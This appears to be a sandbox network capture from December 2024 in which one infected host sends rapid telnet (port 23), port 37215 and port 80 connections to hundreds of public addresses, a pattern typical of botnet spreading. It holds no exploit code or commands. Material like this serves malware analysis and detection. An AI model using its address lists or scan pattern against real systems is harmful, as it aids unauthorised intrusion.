Dec 3, 2024 21:47:26.292640924 CET	39584	23	192.168.2.13	111.202.25.61
Dec 3, 2024 21:47:26.292646885 CET	55396	23	192.168.2.13	73.202.143.112
Dec 3, 2024 21:47:26.292646885 CET	60976	23	192.168.2.13	137.135.19.123
Dec 3, 2024 21:47:26.292646885 CET	55832	23	192.168.2.13	120.97.109.249
Dec 3, 2024 21:47:26.292646885 CET	43400	23	192.168.2.13	85.41.192.208
Dec 3, 2024 21:47:26.292651892 CET	48204	23	192.168.2.13	223.52.63.81
Dec 3, 2024 21:47:26.292653084 CET	52654	23	192.168.2.13	100.193.176.188
Dec 3, 2024 21:47:26.292653084 CET	40756	23	192.168.2.13	13.88.44.44
Dec 3, 2024 21:47:26.292665005 CET	40568	23	192.168.2.13	165.31.93.83
Dec 3, 2024 21:47:26.292676926 CET	54616	23	192.168.2.13	185.195.98.112
Dec 3, 2024 21:47:26.292676926 CET	33648	23	192.168.2.13	207.107.124.204
Dec 3, 2024 21:47:26.292676926 CET	38842	23	192.168.2.13	76.222.202.100
Dec 3, 2024 21:47:26.348984957 CET	23	59678	84.218.50.70	192.168.2.13
Dec 3, 2024 21:47:26.349035978 CET	23	37226	199.141.29.197	192.168.2.13
Dec 3, 2024 21:47:26.349041939 CET	23	53712	192.105.81.173	192.168.2.13
Dec 3, 2024 21:47:26.349052906 CET	23	57118	34.210.178.7	192.168.2.13
Dec 3, 2024 21:47:26.349070072 CET	23	58696	23.197.79.26	192.168.2.13
Dec 3, 2024 21:47:26.349215031 CET	59678	23	192.168.2.13	84.218.50.70
Dec 3, 2024 21:47:26.349215984 CET	58696	23	192.168.2.13	23.197.79.26
Dec 3, 2024 21:47:26.349221945 CET	37226	23	192.168.2.13	199.141.29.197
Dec 3, 2024 21:47:26.349232912 CET	53712	23	192.168.2.13	192.105.81.173
Dec 3, 2024 21:47:26.349250078 CET	57118	23	192.168.2.13	34.210.178.7
Dec 3, 2024 21:47:26.375032902 CET	23	40955	129.84.219.132	192.168.2.13
Dec 3, 2024 21:47:26.375041008 CET	23	40955	134.249.45.102	192.168.2.13
Dec 3, 2024 21:47:26.375057936 CET	23	40955	85.24.37.192	192.168.2.13
Dec 3, 2024 21:47:26.375067949 CET	23	40955	193.215.71.231	192.168.2.13
Dec 3, 2024 21:47:26.375083923 CET	23	40955	131.164.132.235	192.168.2.13
Dec 3, 2024 21:47:26.375092983 CET	23	40955	130.131.91.151	192.168.2.13
Dec 3, 2024 21:47:26.375119925 CET	23	40955	175.28.121.99	192.168.2.13
Dec 3, 2024 21:47:26.375127077 CET	23	40955	39.169.194.227	192.168.2.13
Dec 3, 2024 21:47:26.375143051 CET	23	40955	69.226.230.63	192.168.2.13
Dec 3, 2024 21:47:26.375147104 CET	40955	23	192.168.2.13	134.249.45.102
Dec 3, 2024 21:47:26.375163078 CET	23	40955	141.252.232.62	192.168.2.13
Dec 3, 2024 21:47:26.375169992 CET	23	40955	61.236.211.247	192.168.2.13
Dec 3, 2024 21:47:26.375169992 CET	40955	23	192.168.2.13	39.169.194.227
Dec 3, 2024 21:47:26.375193119 CET	23	40955	190.223.230.90	192.168.2.13
Dec 3, 2024 21:47:26.375200033 CET	23	40955	9.31.233.78	192.168.2.13
Dec 3, 2024 21:47:26.375216007 CET	40955	23	192.168.2.13	69.226.230.63
Dec 3, 2024 21:47:26.375217915 CET	23	40955	48.90.198.253	192.168.2.13
Dec 3, 2024 21:47:26.375217915 CET	40955	23	192.168.2.13	129.84.219.132
Dec 3, 2024 21:47:26.375226021 CET	23	40955	161.19.148.172	192.168.2.13
Dec 3, 2024 21:47:26.375226974 CET	40955	23	192.168.2.13	85.24.37.192
Dec 3, 2024 21:47:26.375233889 CET	40955	23	192.168.2.13	190.223.230.90
Dec 3, 2024 21:47:26.375237942 CET	23	40955	74.17.222.138	192.168.2.13
Dec 3, 2024 21:47:26.375233889 CET	40955	23	192.168.2.13	193.215.71.231
Dec 3, 2024 21:47:26.375242949 CET	40955	23	192.168.2.13	175.28.121.99
Dec 3, 2024 21:47:26.375251055 CET	40955	23	192.168.2.13	131.164.132.235
Dec 3, 2024 21:47:26.375251055 CET	40955	23	192.168.2.13	130.131.91.151
Dec 3, 2024 21:47:26.375252962 CET	23	40955	72.119.215.95	192.168.2.13
Dec 3, 2024 21:47:26.375262976 CET	40955	23	192.168.2.13	48.90.198.253
Dec 3, 2024 21:47:26.375267029 CET	23	40955	180.120.77.249	192.168.2.13
Dec 3, 2024 21:47:26.375271082 CET	40955	23	192.168.2.13	141.252.232.62
Dec 3, 2024 21:47:26.375271082 CET	40955	23	192.168.2.13	9.31.233.78
Dec 3, 2024 21:47:26.375272989 CET	23	40955	27.243.33.83	192.168.2.13
Dec 3, 2024 21:47:26.375272989 CET	40955	23	192.168.2.13	61.236.211.247
Dec 3, 2024 21:47:26.375283957 CET	40955	23	192.168.2.13	161.19.148.172
Dec 3, 2024 21:47:26.375287056 CET	23	40955	1.54.229.137	192.168.2.13
Dec 3, 2024 21:47:26.375296116 CET	40955	23	192.168.2.13	74.17.222.138
Dec 3, 2024 21:47:26.375309944 CET	23	40955	110.31.66.113	192.168.2.13
Dec 3, 2024 21:47:26.375320911 CET	40955	23	192.168.2.13	72.119.215.95
Dec 3, 2024 21:47:26.375320911 CET	40955	23	192.168.2.13	27.243.33.83
Dec 3, 2024 21:47:26.375324965 CET	23	40955	205.79.27.251	192.168.2.13
Dec 3, 2024 21:47:26.375332117 CET	40955	23	192.168.2.13	180.120.77.249
Dec 3, 2024 21:47:26.375335932 CET	40955	23	192.168.2.13	1.54.229.137
Dec 3, 2024 21:47:26.375346899 CET	40955	23	192.168.2.13	110.31.66.113
Dec 3, 2024 21:47:26.375363111 CET	40955	23	192.168.2.13	205.79.27.251
Dec 3, 2024 21:47:26.375494957 CET	23	55574	145.97.60.100	192.168.2.13
Dec 3, 2024 21:47:26.375597000 CET	55574	23	192.168.2.13	145.97.60.100
Dec 3, 2024 21:47:26.413523912 CET	23	42514	107.5.91.234	192.168.2.13
Dec 3, 2024 21:47:26.413537979 CET	23	36798	85.109.68.206	192.168.2.13
Dec 3, 2024 21:47:26.413548946 CET	23	34050	189.138.25.130	192.168.2.13
Dec 3, 2024 21:47:26.413649082 CET	36798	23	192.168.2.13	85.109.68.206
Dec 3, 2024 21:47:26.413650990 CET	42514	23	192.168.2.13	107.5.91.234
Dec 3, 2024 21:47:26.413650990 CET	34050	23	192.168.2.13	189.138.25.130
Dec 3, 2024 21:47:26.420603991 CET	52242	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:26.420629978 CET	53458	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:26.420629978 CET	42222	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:26.420629978 CET	51450	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:26.420630932 CET	35850	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:26.420644999 CET	59250	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:26.420646906 CET	49212	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:26.420644999 CET	54092	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:26.420645952 CET	53000	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:26.420654058 CET	38428	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:26.420655966 CET	39400	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:26.420663118 CET	51526	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:26.420666933 CET	54658	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:26.420680046 CET	55592	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:26.420679092 CET	52158	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:26.420680046 CET	42340	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:26.420691967 CET	35176	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:26.420692921 CET	60304	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:26.420692921 CET	47886	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:26.420696974 CET	58248	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:26.420698881 CET	36874	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:26.420698881 CET	52154	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:26.420708895 CET	47088	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:26.420715094 CET	47828	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:26.420717955 CET	33376	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:26.420717955 CET	34712	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:26.420722961 CET	43274	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:26.420722961 CET	46448	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:26.420727968 CET	34616	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:26.420732021 CET	41522	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:26.420751095 CET	59436	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:26.420761108 CET	47746	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:26.420761108 CET	50074	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:26.420761108 CET	44430	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:26.420761108 CET	37868	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:26.420773983 CET	52036	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:26.420789003 CET	57922	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:26.420794010 CET	59438	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:26.420794010 CET	36822	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:26.420811892 CET	60302	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:26.420811892 CET	59424	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:26.420811892 CET	42080	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:26.420826912 CET	38350	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:26.420826912 CET	36894	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:26.420847893 CET	43638	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:26.420847893 CET	47166	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:26.420850992 CET	52946	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:26.420850992 CET	51382	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:26.420851946 CET	50078	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:26.427808046 CET	39419	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.427814960 CET	39419	80	192.168.2.13	105.230.144.145
Dec 3, 2024 21:47:26.427829981 CET	39419	80	192.168.2.13	149.83.182.1
Dec 3, 2024 21:47:26.427829981 CET	39419	80	192.168.2.13	34.207.121.149
Dec 3, 2024 21:47:26.427840948 CET	39419	80	192.168.2.13	174.41.29.71
Dec 3, 2024 21:47:26.427840948 CET	39419	80	192.168.2.13	59.32.142.232
Dec 3, 2024 21:47:26.427841902 CET	39419	80	192.168.2.13	59.156.90.182
Dec 3, 2024 21:47:26.427841902 CET	39419	80	192.168.2.13	132.219.20.164
Dec 3, 2024 21:47:26.427845955 CET	39419	80	192.168.2.13	94.208.77.43
Dec 3, 2024 21:47:26.427848101 CET	39419	80	192.168.2.13	187.249.114.117
Dec 3, 2024 21:47:26.427848101 CET	39419	80	192.168.2.13	62.59.171.166
Dec 3, 2024 21:47:26.427849054 CET	39419	80	192.168.2.13	17.164.216.33
Dec 3, 2024 21:47:26.427851915 CET	39419	80	192.168.2.13	20.92.103.11
Dec 3, 2024 21:47:26.427858114 CET	39419	80	192.168.2.13	65.13.160.245
Dec 3, 2024 21:47:26.427858114 CET	39419	80	192.168.2.13	78.98.170.231
Dec 3, 2024 21:47:26.427874088 CET	39419	80	192.168.2.13	134.13.100.236
Dec 3, 2024 21:47:26.427879095 CET	39419	80	192.168.2.13	121.139.34.187
Dec 3, 2024 21:47:26.427879095 CET	39419	80	192.168.2.13	79.93.221.203
Dec 3, 2024 21:47:26.427896976 CET	39419	80	192.168.2.13	46.39.36.151
Dec 3, 2024 21:47:26.427897930 CET	39419	80	192.168.2.13	102.196.246.137
Dec 3, 2024 21:47:26.427897930 CET	39419	80	192.168.2.13	115.35.233.129
Dec 3, 2024 21:47:26.427900076 CET	39419	80	192.168.2.13	161.242.53.153
Dec 3, 2024 21:47:26.427911043 CET	39419	80	192.168.2.13	134.26.228.3
Dec 3, 2024 21:47:26.427912951 CET	39419	80	192.168.2.13	80.21.199.239
Dec 3, 2024 21:47:26.427923918 CET	39419	80	192.168.2.13	74.68.253.135
Dec 3, 2024 21:47:26.427932024 CET	39419	80	192.168.2.13	79.206.183.38
Dec 3, 2024 21:47:26.427942991 CET	39419	80	192.168.2.13	182.43.84.221
Dec 3, 2024 21:47:26.427942991 CET	39419	80	192.168.2.13	165.90.198.240
Dec 3, 2024 21:47:26.427958012 CET	39419	80	192.168.2.13	39.250.81.166
Dec 3, 2024 21:47:26.427962065 CET	39419	80	192.168.2.13	59.7.73.19
Dec 3, 2024 21:47:26.427963018 CET	39419	80	192.168.2.13	106.214.70.120
Dec 3, 2024 21:47:26.427963018 CET	39419	80	192.168.2.13	109.204.230.134
Dec 3, 2024 21:47:26.427978039 CET	39419	80	192.168.2.13	62.124.11.93
Dec 3, 2024 21:47:26.427978039 CET	39419	80	192.168.2.13	130.218.5.220
Dec 3, 2024 21:47:26.427992105 CET	39419	80	192.168.2.13	108.57.31.195
Dec 3, 2024 21:47:26.427994967 CET	39419	80	192.168.2.13	162.149.201.11
Dec 3, 2024 21:47:26.427998066 CET	39419	80	192.168.2.13	39.91.179.118
Dec 3, 2024 21:47:26.427998066 CET	39419	80	192.168.2.13	19.176.60.231
Dec 3, 2024 21:47:26.427999973 CET	39419	80	192.168.2.13	77.67.100.39
Dec 3, 2024 21:47:26.427999973 CET	39419	80	192.168.2.13	162.151.190.150
Dec 3, 2024 21:47:26.428004980 CET	39419	80	192.168.2.13	207.124.231.59
Dec 3, 2024 21:47:26.428016901 CET	39419	80	192.168.2.13	39.80.76.85
Dec 3, 2024 21:47:26.428019047 CET	39419	80	192.168.2.13	142.95.125.138
Dec 3, 2024 21:47:26.428023100 CET	39419	80	192.168.2.13	213.185.195.124
Dec 3, 2024 21:47:26.428033113 CET	39419	80	192.168.2.13	108.37.110.116
Dec 3, 2024 21:47:26.428040981 CET	39419	80	192.168.2.13	195.227.250.251
Dec 3, 2024 21:47:26.428042889 CET	39419	80	192.168.2.13	202.66.23.150
Dec 3, 2024 21:47:26.428056955 CET	39419	80	192.168.2.13	24.193.134.250
Dec 3, 2024 21:47:26.428059101 CET	39419	80	192.168.2.13	39.148.60.255
Dec 3, 2024 21:47:26.428061962 CET	39419	80	192.168.2.13	71.129.29.187
Dec 3, 2024 21:47:26.428071022 CET	39419	80	192.168.2.13	204.21.6.15
Dec 3, 2024 21:47:26.428075075 CET	39419	80	192.168.2.13	213.88.147.215
Dec 3, 2024 21:47:26.428081989 CET	39419	80	192.168.2.13	91.191.234.37
Dec 3, 2024 21:47:26.428086042 CET	39419	80	192.168.2.13	13.200.215.119
Dec 3, 2024 21:47:26.428101063 CET	39419	80	192.168.2.13	143.43.86.231
Dec 3, 2024 21:47:26.428101063 CET	39419	80	192.168.2.13	160.153.181.126
Dec 3, 2024 21:47:26.428102970 CET	39419	80	192.168.2.13	80.254.6.255
Dec 3, 2024 21:47:26.428117990 CET	39419	80	192.168.2.13	81.195.147.149
Dec 3, 2024 21:47:26.428117990 CET	39419	80	192.168.2.13	115.122.36.79
Dec 3, 2024 21:47:26.428127050 CET	39419	80	192.168.2.13	112.218.59.151
Dec 3, 2024 21:47:26.428127050 CET	39419	80	192.168.2.13	85.136.4.35
Dec 3, 2024 21:47:26.428133011 CET	39419	80	192.168.2.13	46.32.154.141
Dec 3, 2024 21:47:26.428148985 CET	39419	80	192.168.2.13	73.104.231.73
Dec 3, 2024 21:47:26.428160906 CET	39419	80	192.168.2.13	58.122.252.176
Dec 3, 2024 21:47:26.428167105 CET	39419	80	192.168.2.13	139.3.60.28
Dec 3, 2024 21:47:26.428169012 CET	39419	80	192.168.2.13	83.132.110.85
Dec 3, 2024 21:47:26.428169012 CET	39419	80	192.168.2.13	1.11.230.89
Dec 3, 2024 21:47:26.428179026 CET	39419	80	192.168.2.13	101.223.101.44
Dec 3, 2024 21:47:26.428183079 CET	39419	80	192.168.2.13	170.134.31.146
Dec 3, 2024 21:47:26.428184032 CET	39419	80	192.168.2.13	13.129.232.179
Dec 3, 2024 21:47:26.428184986 CET	39419	80	192.168.2.13	83.176.119.121
Dec 3, 2024 21:47:26.428193092 CET	39419	80	192.168.2.13	145.75.244.132
Dec 3, 2024 21:47:26.428201914 CET	39419	80	192.168.2.13	137.21.222.64
Dec 3, 2024 21:47:26.428203106 CET	39419	80	192.168.2.13	186.139.202.101
Dec 3, 2024 21:47:26.428204060 CET	39419	80	192.168.2.13	159.209.26.47
Dec 3, 2024 21:47:26.428210974 CET	39419	80	192.168.2.13	31.183.86.21
Dec 3, 2024 21:47:26.428216934 CET	39419	80	192.168.2.13	141.163.225.18
Dec 3, 2024 21:47:26.428221941 CET	39419	80	192.168.2.13	174.114.70.40
Dec 3, 2024 21:47:26.428232908 CET	39419	80	192.168.2.13	128.87.3.226
Dec 3, 2024 21:47:26.428232908 CET	39419	80	192.168.2.13	91.92.52.83
Dec 3, 2024 21:47:26.428235054 CET	39419	80	192.168.2.13	18.73.206.14
Dec 3, 2024 21:47:26.428244114 CET	39419	80	192.168.2.13	66.206.131.104
Dec 3, 2024 21:47:26.428252935 CET	39419	80	192.168.2.13	167.66.150.34
Dec 3, 2024 21:47:26.428267956 CET	39419	80	192.168.2.13	153.52.40.140
Dec 3, 2024 21:47:26.428272009 CET	39419	80	192.168.2.13	71.93.129.71
Dec 3, 2024 21:47:26.428275108 CET	39419	80	192.168.2.13	160.116.11.193
Dec 3, 2024 21:47:26.428277016 CET	39419	80	192.168.2.13	83.55.95.18
Dec 3, 2024 21:47:26.428286076 CET	39419	80	192.168.2.13	183.52.207.8
Dec 3, 2024 21:47:26.428286076 CET	39419	80	192.168.2.13	47.210.120.237
Dec 3, 2024 21:47:26.428286076 CET	39419	80	192.168.2.13	203.207.161.16
Dec 3, 2024 21:47:26.428289890 CET	39419	80	192.168.2.13	87.152.234.140
Dec 3, 2024 21:47:26.428307056 CET	39419	80	192.168.2.13	71.173.202.7
Dec 3, 2024 21:47:26.428307056 CET	39419	80	192.168.2.13	210.147.107.188
Dec 3, 2024 21:47:26.428308010 CET	39419	80	192.168.2.13	174.104.156.225
Dec 3, 2024 21:47:26.428308964 CET	39419	80	192.168.2.13	32.45.135.245
Dec 3, 2024 21:47:26.428312063 CET	39419	80	192.168.2.13	81.56.254.174
Dec 3, 2024 21:47:26.428328037 CET	39419	80	192.168.2.13	206.121.171.228
Dec 3, 2024 21:47:26.428328037 CET	39419	80	192.168.2.13	197.59.191.62
Dec 3, 2024 21:47:26.428328991 CET	39419	80	192.168.2.13	192.87.13.56
Dec 3, 2024 21:47:26.428328991 CET	39419	80	192.168.2.13	221.115.183.32
Dec 3, 2024 21:47:26.428334951 CET	39419	80	192.168.2.13	130.192.67.125
Dec 3, 2024 21:47:26.428347111 CET	39419	80	192.168.2.13	123.216.165.76
Dec 3, 2024 21:47:26.428347111 CET	39419	80	192.168.2.13	178.224.22.127
Dec 3, 2024 21:47:26.428348064 CET	39419	80	192.168.2.13	115.204.134.184
Dec 3, 2024 21:47:26.428360939 CET	39419	80	192.168.2.13	46.11.65.200
Dec 3, 2024 21:47:26.428360939 CET	39419	80	192.168.2.13	136.91.77.120
Dec 3, 2024 21:47:26.428370953 CET	39419	80	192.168.2.13	62.83.0.163
Dec 3, 2024 21:47:26.428370953 CET	39419	80	192.168.2.13	39.211.102.176
Dec 3, 2024 21:47:26.428376913 CET	39419	80	192.168.2.13	69.121.196.179
Dec 3, 2024 21:47:26.428385973 CET	39419	80	192.168.2.13	134.51.33.221
Dec 3, 2024 21:47:26.428391933 CET	39419	80	192.168.2.13	9.172.171.37
Dec 3, 2024 21:47:26.428399086 CET	39419	80	192.168.2.13	108.251.191.189
Dec 3, 2024 21:47:26.428406000 CET	39419	80	192.168.2.13	176.113.158.29
Dec 3, 2024 21:47:26.428406000 CET	39419	80	192.168.2.13	105.219.105.251
Dec 3, 2024 21:47:26.428411007 CET	39419	80	192.168.2.13	195.179.212.76
Dec 3, 2024 21:47:26.428414106 CET	39419	80	192.168.2.13	169.92.248.142
Dec 3, 2024 21:47:26.428414106 CET	39419	80	192.168.2.13	150.104.255.128
Dec 3, 2024 21:47:26.428416014 CET	39419	80	192.168.2.13	220.75.28.143
Dec 3, 2024 21:47:26.428416014 CET	39419	80	192.168.2.13	189.200.3.143
Dec 3, 2024 21:47:26.428421021 CET	39419	80	192.168.2.13	69.245.33.213
Dec 3, 2024 21:47:26.428422928 CET	39419	80	192.168.2.13	217.255.104.255
Dec 3, 2024 21:47:26.428440094 CET	39419	80	192.168.2.13	212.124.26.69
Dec 3, 2024 21:47:26.428446054 CET	39419	80	192.168.2.13	81.22.56.15
Dec 3, 2024 21:47:26.428458929 CET	39419	80	192.168.2.13	65.244.7.5
Dec 3, 2024 21:47:26.428459883 CET	39419	80	192.168.2.13	78.37.51.194
Dec 3, 2024 21:47:26.428467989 CET	39419	80	192.168.2.13	83.112.11.69
Dec 3, 2024 21:47:26.428469896 CET	39419	80	192.168.2.13	37.185.18.95
Dec 3, 2024 21:47:26.428472996 CET	39419	80	192.168.2.13	75.119.197.162
Dec 3, 2024 21:47:26.428482056 CET	39419	80	192.168.2.13	186.158.176.235
Dec 3, 2024 21:47:26.428487062 CET	39419	80	192.168.2.13	201.167.186.43
Dec 3, 2024 21:47:26.428487062 CET	39419	80	192.168.2.13	13.86.112.142
Dec 3, 2024 21:47:26.428494930 CET	39419	80	192.168.2.13	190.181.156.181
Dec 3, 2024 21:47:26.428505898 CET	39419	80	192.168.2.13	24.148.230.248
Dec 3, 2024 21:47:26.428512096 CET	39419	80	192.168.2.13	183.119.19.247
Dec 3, 2024 21:47:26.428524017 CET	39419	80	192.168.2.13	210.91.96.160
Dec 3, 2024 21:47:26.428524017 CET	39419	80	192.168.2.13	168.189.66.91
Dec 3, 2024 21:47:26.428528070 CET	39419	80	192.168.2.13	63.202.202.246
Dec 3, 2024 21:47:26.428535938 CET	39419	80	192.168.2.13	45.242.94.24
Dec 3, 2024 21:47:26.428555965 CET	39419	80	192.168.2.13	203.155.99.89
Dec 3, 2024 21:47:26.428563118 CET	39419	80	192.168.2.13	140.7.36.94
Dec 3, 2024 21:47:26.428566933 CET	39419	80	192.168.2.13	78.210.185.82
Dec 3, 2024 21:47:26.428566933 CET	39419	80	192.168.2.13	101.92.175.29
Dec 3, 2024 21:47:26.428579092 CET	39419	80	192.168.2.13	184.20.241.100
Dec 3, 2024 21:47:26.428586960 CET	39419	80	192.168.2.13	93.36.174.252
Dec 3, 2024 21:47:26.428596020 CET	39419	80	192.168.2.13	70.52.242.162
Dec 3, 2024 21:47:26.428608894 CET	39419	80	192.168.2.13	57.45.250.253
Dec 3, 2024 21:47:26.428611994 CET	39419	80	192.168.2.13	147.36.213.82
Dec 3, 2024 21:47:26.428613901 CET	39419	80	192.168.2.13	87.199.113.87
Dec 3, 2024 21:47:26.428616047 CET	39419	80	192.168.2.13	74.122.39.213
Dec 3, 2024 21:47:26.428616047 CET	39419	80	192.168.2.13	52.50.89.63
Dec 3, 2024 21:47:26.428632975 CET	39419	80	192.168.2.13	136.205.172.69
Dec 3, 2024 21:47:26.428637981 CET	39419	80	192.168.2.13	137.214.157.195
Dec 3, 2024 21:47:26.428642035 CET	39419	80	192.168.2.13	25.43.122.139
Dec 3, 2024 21:47:26.428648949 CET	39419	80	192.168.2.13	12.39.194.236
Dec 3, 2024 21:47:26.428653002 CET	39419	80	192.168.2.13	97.211.101.48
Dec 3, 2024 21:47:26.428658009 CET	39419	80	192.168.2.13	172.39.75.60
Dec 3, 2024 21:47:26.428672075 CET	39419	80	192.168.2.13	46.173.59.134
Dec 3, 2024 21:47:26.428673029 CET	39419	80	192.168.2.13	211.228.171.67
Dec 3, 2024 21:47:26.428678036 CET	39419	80	192.168.2.13	129.179.13.77
Dec 3, 2024 21:47:26.428678036 CET	39419	80	192.168.2.13	70.57.78.43
Dec 3, 2024 21:47:26.428679943 CET	39419	80	192.168.2.13	31.211.16.172
Dec 3, 2024 21:47:26.428689957 CET	39419	80	192.168.2.13	4.133.1.187
Dec 3, 2024 21:47:26.428689957 CET	39419	80	192.168.2.13	141.178.196.18
Dec 3, 2024 21:47:26.428694010 CET	39419	80	192.168.2.13	104.175.228.180
Dec 3, 2024 21:47:26.428694963 CET	39419	80	192.168.2.13	81.177.186.203
Dec 3, 2024 21:47:26.428713083 CET	39419	80	192.168.2.13	220.198.19.26
Dec 3, 2024 21:47:26.428714037 CET	39419	80	192.168.2.13	50.147.226.130
Dec 3, 2024 21:47:26.428714037 CET	39419	80	192.168.2.13	106.76.68.198
Dec 3, 2024 21:47:26.428718090 CET	39419	80	192.168.2.13	137.236.209.161
Dec 3, 2024 21:47:26.428725004 CET	39419	80	192.168.2.13	94.56.240.168
Dec 3, 2024 21:47:26.428736925 CET	39419	80	192.168.2.13	213.242.128.36
Dec 3, 2024 21:47:26.428749084 CET	39419	80	192.168.2.13	156.30.103.68
Dec 3, 2024 21:47:26.428751945 CET	39419	80	192.168.2.13	219.124.226.210
Dec 3, 2024 21:47:26.428751945 CET	39419	80	192.168.2.13	180.108.199.47
Dec 3, 2024 21:47:26.428751945 CET	39419	80	192.168.2.13	223.62.227.188
Dec 3, 2024 21:47:26.428761005 CET	39419	80	192.168.2.13	112.118.197.27
Dec 3, 2024 21:47:26.428774118 CET	39419	80	192.168.2.13	188.82.62.178
Dec 3, 2024 21:47:26.428774118 CET	39419	80	192.168.2.13	111.20.0.67
Dec 3, 2024 21:47:26.428775072 CET	39419	80	192.168.2.13	179.70.189.7
Dec 3, 2024 21:47:26.428792000 CET	39419	80	192.168.2.13	192.79.197.31
Dec 3, 2024 21:47:26.428798914 CET	39419	80	192.168.2.13	5.51.247.141
Dec 3, 2024 21:47:26.428822994 CET	39419	80	192.168.2.13	107.116.198.16
Dec 3, 2024 21:47:26.428822994 CET	39419	80	192.168.2.13	209.74.136.185
Dec 3, 2024 21:47:26.428827047 CET	39419	80	192.168.2.13	156.254.45.116
Dec 3, 2024 21:47:26.428828001 CET	39419	80	192.168.2.13	128.88.178.127
Dec 3, 2024 21:47:26.428833008 CET	39419	80	192.168.2.13	200.171.191.25
Dec 3, 2024 21:47:26.428833008 CET	39419	80	192.168.2.13	189.218.198.19
Dec 3, 2024 21:47:26.428843975 CET	39419	80	192.168.2.13	200.133.27.74
Dec 3, 2024 21:47:26.428844929 CET	39419	80	192.168.2.13	100.130.146.249
Dec 3, 2024 21:47:26.428845882 CET	39419	80	192.168.2.13	62.223.99.114
Dec 3, 2024 21:47:26.428844929 CET	39419	80	192.168.2.13	59.44.227.157
Dec 3, 2024 21:47:26.428845882 CET	39419	80	192.168.2.13	101.127.47.88
Dec 3, 2024 21:47:26.428845882 CET	39419	80	192.168.2.13	91.104.151.246
Dec 3, 2024 21:47:26.428843975 CET	39419	80	192.168.2.13	122.250.203.8
Dec 3, 2024 21:47:26.428845882 CET	39419	80	192.168.2.13	216.154.55.244
Dec 3, 2024 21:47:26.428852081 CET	39419	80	192.168.2.13	75.142.111.86
Dec 3, 2024 21:47:26.428852081 CET	39419	80	192.168.2.13	163.110.97.233
Dec 3, 2024 21:47:26.428852081 CET	39419	80	192.168.2.13	177.82.108.144
Dec 3, 2024 21:47:26.428855896 CET	39419	80	192.168.2.13	199.198.123.224
Dec 3, 2024 21:47:26.428859949 CET	39419	80	192.168.2.13	188.18.197.127
Dec 3, 2024 21:47:26.428859949 CET	39419	80	192.168.2.13	170.57.85.48
Dec 3, 2024 21:47:26.428860903 CET	39419	80	192.168.2.13	216.92.68.89
Dec 3, 2024 21:47:26.428860903 CET	39419	80	192.168.2.13	36.66.39.130
Dec 3, 2024 21:47:26.428860903 CET	39419	80	192.168.2.13	209.79.56.72
Dec 3, 2024 21:47:26.428869009 CET	39419	80	192.168.2.13	4.190.87.41
Dec 3, 2024 21:47:26.428873062 CET	39419	80	192.168.2.13	48.226.52.191
Dec 3, 2024 21:47:26.428873062 CET	39419	80	192.168.2.13	133.160.65.227
Dec 3, 2024 21:47:26.428874016 CET	39419	80	192.168.2.13	130.191.118.46
Dec 3, 2024 21:47:26.428874969 CET	39419	80	192.168.2.13	202.38.1.236
Dec 3, 2024 21:47:26.428874016 CET	39419	80	192.168.2.13	145.216.29.250
Dec 3, 2024 21:47:26.428875923 CET	39419	80	192.168.2.13	181.135.159.225
Dec 3, 2024 21:47:26.428874969 CET	39419	80	192.168.2.13	191.55.189.81
Dec 3, 2024 21:47:26.428881884 CET	39419	80	192.168.2.13	134.129.77.96
Dec 3, 2024 21:47:26.428883076 CET	39419	80	192.168.2.13	86.210.168.236
Dec 3, 2024 21:47:26.428884029 CET	39419	80	192.168.2.13	174.89.164.30
Dec 3, 2024 21:47:26.428889036 CET	39419	80	192.168.2.13	150.15.124.129
